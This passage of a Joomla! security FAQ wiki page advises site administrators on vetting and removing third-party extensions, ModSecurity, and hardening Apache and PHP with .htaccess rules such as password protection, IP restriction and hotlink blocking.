: If it has been over a year, consider the project abandoned and find something else. Do not install old components.&lt;br /&gt;
&lt;br /&gt;
2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)&lt;br /&gt;
&lt;br /&gt;
: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension have a history of good security practices?&lt;br /&gt;
&lt;br /&gt;
: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.&lt;br /&gt;
&lt;br /&gt;
4. Is there a support community for this extension?&lt;br /&gt;
&lt;br /&gt;
: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.&lt;br /&gt;
&lt;br /&gt;
5. Is there only a Mambo version of this extension?&lt;br /&gt;
&lt;br /&gt;
: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.&lt;br /&gt;
&lt;br /&gt;
6. Is the extension generally bug free?&lt;br /&gt;
&lt;br /&gt;
: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bad Practices:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Having PHP&#039;s Register Globals enabled.&lt;br /&gt;
# Using out of date or abandoned extension.&lt;br /&gt;
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)&lt;br /&gt;
# Poorly configured file permissions.&lt;br /&gt;
# No request filtering or software &amp;quot;firewall&amp;quot;. (such as mod_rewrite rules or mod_security Apache modules)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bugs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Not including defined(&#039;_VALID_MOS&#039;) or die... statements&lt;br /&gt;
# Poorly constructed include() statements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. How complex is the extension? &lt;br /&gt;
&lt;br /&gt;
: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can&#039;t tell what it&#039;s doing, you should not trust it.&lt;br /&gt;
&lt;br /&gt;
2. Does the extension read or write files to your server? &lt;br /&gt;
&lt;br /&gt;
: Programs that read files may inadvertently violate access restrictions you&#039;ve set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension interact with other programs on your system? &lt;br /&gt;
&lt;br /&gt;
: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?&lt;br /&gt;
&lt;br /&gt;
4. Does the extension run with suid (set-user-id) privileges? &lt;br /&gt;
&lt;br /&gt;
: In general this is very dangerous; extensions need an excellent reasons for doing this.&lt;br /&gt;
&lt;br /&gt;
5. Does the extension validate all user input, such as in form fields and in the URL?&lt;br /&gt;
&lt;br /&gt;
6. Does the extension use explicit path names when invoking external programs? &lt;br /&gt;
&lt;br /&gt;
: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.&lt;br /&gt;
&lt;br /&gt;
7. Is the extension secure against direct access throught the URL? &lt;br /&gt;
&lt;br /&gt;
: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here&lt;br /&gt;
&lt;br /&gt;
8. Is the extension secure against remote file inclusions?&lt;br /&gt;
&lt;br /&gt;
9. Is the extension secure against SQL injections?&lt;br /&gt;
&lt;br /&gt;
10. Is the extension secure against Cross Site Scripting (XSS)?&lt;br /&gt;
&lt;br /&gt;
11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON? &lt;br /&gt;
&lt;br /&gt;
: If so, then it is probably violating number 7 above.&lt;br /&gt;
&lt;br /&gt;
12. Does the extension provide higher database access to less privileged users? &lt;br /&gt;
&lt;br /&gt;
: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?&lt;br /&gt;
&lt;br /&gt;
==Why does the Extensions site include insecure extensions?==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.&lt;br /&gt;
&lt;br /&gt;
If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.&lt;br /&gt;
&lt;br /&gt;
To be safe, you must verify the security of every extension you install.&lt;br /&gt;
&lt;br /&gt;
Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclaimer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.&lt;br /&gt;
&lt;br /&gt;
==Why is there a warning in the extensions install screen?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s just a warning! You are of course free to install any extension you want onto your own site, but remember that &#039;&#039;&#039;YOU&#039;&#039;&#039; are responsible for the safety of your site and the quality of the applications you install.&lt;br /&gt;
&lt;br /&gt;
The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension&#039;s code.&lt;br /&gt;
&lt;br /&gt;
The [[Vulnerable Extensions List]] is a valuable source of information on what &#039;&#039;&#039;NOT&#039;&#039;&#039; to install.&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t un-publishing a vulnerable extension enough to protect my site?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension&#039;s files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.&lt;br /&gt;
&lt;br /&gt;
 www.your_site.org/components/com_bad_component/vulnerable_file.php&lt;br /&gt;
 www.your_site.org/modules/mod_bad_module/vulnerable_file.php&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions for removing a vulnerable extension&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Make a list of files to remove&lt;br /&gt;
&lt;br /&gt;
: If you can locate it, read the extension&#039;s xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:&lt;br /&gt;
&lt;br /&gt;
 mod_vulnerable.php&lt;br /&gt;
 mod_vulnerable/vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/yet_another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/index.html&lt;br /&gt;
&lt;br /&gt;
2. Uninstall via the Joomla Installer:&lt;br /&gt;
&lt;br /&gt;
: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.&lt;br /&gt;
&lt;br /&gt;
3. Check that the uninstall process was complete:&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t trust the extension to safely remove all of it&#039;s files. Compare directories and files on your system to the extension&#039;s xml list to ensure that all related files were actually removed.&lt;br /&gt;
&lt;br /&gt;
4. Optionally, remove related database tables:&lt;br /&gt;
&lt;br /&gt;
: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension&#039;s xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)&lt;br /&gt;
&lt;br /&gt;
= Apache =&lt;br /&gt;
&#039;&#039;&#039;Covers information on Apache Web server, Apache modules, .htaccess files, etc.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What is Apache modSecurity?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.&lt;br /&gt;
&lt;br /&gt;
When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.&lt;br /&gt;
&lt;br /&gt;
Quality hosting providers customize mod_security rules to suit each customer. &lt;br /&gt;
&lt;br /&gt;
If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box &#039;&#039;usually&#039;&#039; works with typical ModSecurity settings, but this is dependent on each hosting provider&#039;s unique configuration. &lt;br /&gt;
&lt;br /&gt;
Overall, mod_security is a excellent tool, but this is really something your host should manage.&lt;br /&gt;
&lt;br /&gt;
One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding &#039;&#039;&#039;SecFilterScanPOST Off&#039;&#039;&#039; to your .htaccess file.&lt;br /&gt;
&lt;br /&gt;
ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.modsecurity.org/ Official ModSecurity Site]&lt;br /&gt;
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]&lt;br /&gt;
&lt;br /&gt;
== How do I block directory scans using  .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with &amp;quot;phpMyAdmin&amp;quot; to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&#039;&#039;&#039;Sample Apache Rewrite Rule&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 RewriteRule ^phpMyAdmin /index.php [L]&lt;br /&gt;
 RewriteRule ^phpMyAdmin - [F]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Some Regular Expression Tips&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ^ Means start of pattern&lt;br /&gt;
 . Means any character other than newlines&lt;br /&gt;
 + Means one or more of the previous character&lt;br /&gt;
 * Means zero or more of the previous character&lt;br /&gt;
 $ Means end of pattern&lt;br /&gt;
 \.  Literal periods must be escaped with a leading \&lt;br /&gt;
&lt;br /&gt;
==How can I change PHP settings using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Open the .htaccess file located in your site&#039;s home directory, or if you don&#039;t have one, create a blank one now. Note the period character (.) at the beginning of the file name.&lt;br /&gt;
&lt;br /&gt;
2. Add any of the following code samples to your .htaccess file, each on it&#039;s own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.&lt;br /&gt;
&lt;br /&gt;
 php_flag register_globals off&lt;br /&gt;
&lt;br /&gt;
 php_flag allow_url_fopen off&lt;br /&gt;
&lt;br /&gt;
 php_flag magic_quotes_gpc on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
3. Save the .htaccess file in your site&#039;s home directory.&lt;br /&gt;
&lt;br /&gt;
4. Test your site&#039;s front end and back end.&lt;br /&gt;
&lt;br /&gt;
==How does FastCGI effect Joomla?==&lt;br /&gt;
&lt;br /&gt;
When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone&#039;s scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.&lt;br /&gt;
&lt;br /&gt;
Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server&#039;s main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.&lt;br /&gt;
&lt;br /&gt;
If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.&lt;br /&gt;
&lt;br /&gt;
==How can I check if mod_rewrite is enabled?==&lt;br /&gt;
&lt;br /&gt;
Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.&lt;br /&gt;
&lt;br /&gt;
1. Enable SEO in your administrator! (administrator &amp;gt; SEO &amp;gt; Enable &amp;gt; Save)&lt;br /&gt;
&lt;br /&gt;
2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.&lt;br /&gt;
&lt;br /&gt;
3. Place ONLY the following lines in your .htaccess file in the domain root folder.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Point your browser to: http://www.example.com/joomla.html&lt;br /&gt;
&lt;br /&gt;
(Replace &#039;example.com&#039; with your site&#039;s actual URL.)&lt;br /&gt;
&lt;br /&gt;
5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.&lt;br /&gt;
&lt;br /&gt;
6. Note: if your site is located in a folder, for example &amp;quot;test&amp;quot; you will need to modify the .htaccess file as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== How do I switch to PHP5 using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;IMPORTANT CAVEAT:&#039;&#039;&#039; One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!&lt;br /&gt;
&lt;br /&gt;
Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Requirements&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.&lt;br /&gt;
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.&lt;br /&gt;
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Check to be sure your site is configured to use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
2. Make a backup of the .htaccess file in your root public_http directory. If you don&#039;t have a .htaccess file at this location, create one now.&lt;br /&gt;
&lt;br /&gt;
3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.&lt;br /&gt;
&lt;br /&gt;
 AddType x-mapp-php5 .php&lt;br /&gt;
 AddHandler application/x-httpd-php5 .php&lt;br /&gt;
 AddHandler cgi-php5 .php&lt;br /&gt;
&lt;br /&gt;
4. Carefully test.&lt;br /&gt;
&lt;br /&gt;
5. Delete the backup .htaccess file. Don&#039;t leave backups of .htaccess files in public directories.&lt;br /&gt;
&lt;br /&gt;
==How do I password protect directories using .htaccess?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveat (From Apache.org)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Basic authentication should not be considered secure for any particularly rigorous definition of secure.&lt;br /&gt;
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.&lt;br /&gt;
&lt;br /&gt;
Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.&lt;br /&gt;
&lt;br /&gt;
And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.&lt;br /&gt;
&lt;br /&gt;
Don&#039;t use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.&lt;br /&gt;
&lt;br /&gt;
Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.&lt;br /&gt;
Apache Authentication, Authorization, and Access Control&lt;br /&gt;
&lt;br /&gt;
2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.&lt;br /&gt;
&lt;br /&gt;
3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it&#039;s probably best to add the new code to it.&lt;br /&gt;
&lt;br /&gt;
4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.&lt;br /&gt;
&lt;br /&gt;
 /home/mysite/public_html/.htaccess&lt;br /&gt;
 /home/mysite/auth/.htpasswd/&lt;br /&gt;
 /home/mysite/auth/.htgroups/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you&#039;ve read the always current and official documentation at Apache.org, we&#039;ll spare you the trouble of displaying it again here.)&lt;br /&gt;
&lt;br /&gt;
6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don&#039;t forget the dot at the beginning of the name.)&lt;br /&gt;
&lt;br /&gt;
7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.&lt;br /&gt;
&lt;br /&gt;
 AuthUserFile /home/auth/.htpasswd&lt;br /&gt;
 AuthGroupFile /home/auth/.htgroups&lt;br /&gt;
 AuthType Basic&lt;br /&gt;
 AuthName &amp;quot;LWS&amp;quot;&lt;br /&gt;
 require group admins&lt;br /&gt;
&lt;br /&gt;
8. Test carefully.&lt;br /&gt;
&lt;br /&gt;
9. Remove all backup .htaccess files from public_http directories.&lt;br /&gt;
&lt;br /&gt;
10. If you cannot use the Apache htpasswd utility, here&#039;s a free, online script that creates the necessary files for you. You&#039;ll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you&#039;ll need to edit the resulting files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;.htaccess Generator:&#039;&#039;&#039; http://www.webmaster-toolkit.com/htaccess-generator.shtml&lt;br /&gt;
&lt;br /&gt;
== How do I restrict directory access by IP address using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)&lt;br /&gt;
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:&lt;br /&gt;
&lt;br /&gt;
 Order Deny,Allow&lt;br /&gt;
 Deny from all&lt;br /&gt;
 Allow from 100.100.100.100&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.&lt;br /&gt;
&lt;br /&gt;
* Optional: You can add multiple addresses by separating them with comma&#039;s.&lt;br /&gt;
&lt;br /&gt;
 100.100.100.101, 100.100.100.102&lt;br /&gt;
&lt;br /&gt;
==How do I convert an htaccess.txt file into a .htaccess file?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need &amp;quot;AllowOverride Options&amp;quot; or &amp;quot;AllowOverride All&amp;quot; privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.&lt;br /&gt;
# Make any adjustments to this file as appropriate for your site, and then save it in your site&#039;s home directory as, .htaccess (including the dot).&lt;br /&gt;
# Test your site&#039;s front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.&lt;br /&gt;
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]&lt;br /&gt;
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]&lt;br /&gt;
&lt;br /&gt;
== How do I block direct hot linking to image files using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveats&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Your server must allow .htaccess files for this technique to work.&lt;br /&gt;
# If you do not have a .htaccess file in your root directory, see the related FAQ first.&lt;br /&gt;
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.&lt;br /&gt;
# Hot linked images can only be replaced by other images, not with HTML pages.&lt;br /&gt;
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.&lt;br /&gt;
# Place the following code in the .htaccess file of your root directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^$&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Explanation&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means &amp;quot;aNy Case&amp;quot;, which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Block hot linking from specific domains&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means &amp;quot;Or Next&amp;quot;, as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Display a 403 forbidden code&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:&lt;br /&gt;
&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]&lt;br /&gt;
&lt;br /&gt;
= PHP =&lt;br /&gt;
&lt;br /&gt;
== Why is Joomla! written in PHP? ==&lt;br /&gt;
&lt;br /&gt;
: Might as well get it from the horse&#039;s mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&amp;quot;What it all boils down to is that PHP was never meant to win any beauty contests. It wasn&#039;t designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP&#039;s stubborness.&amp;quot;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== What is the latest stable release of PHP? ==&lt;br /&gt;
&lt;br /&gt;
Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.&lt;br /&gt;
&lt;br /&gt;
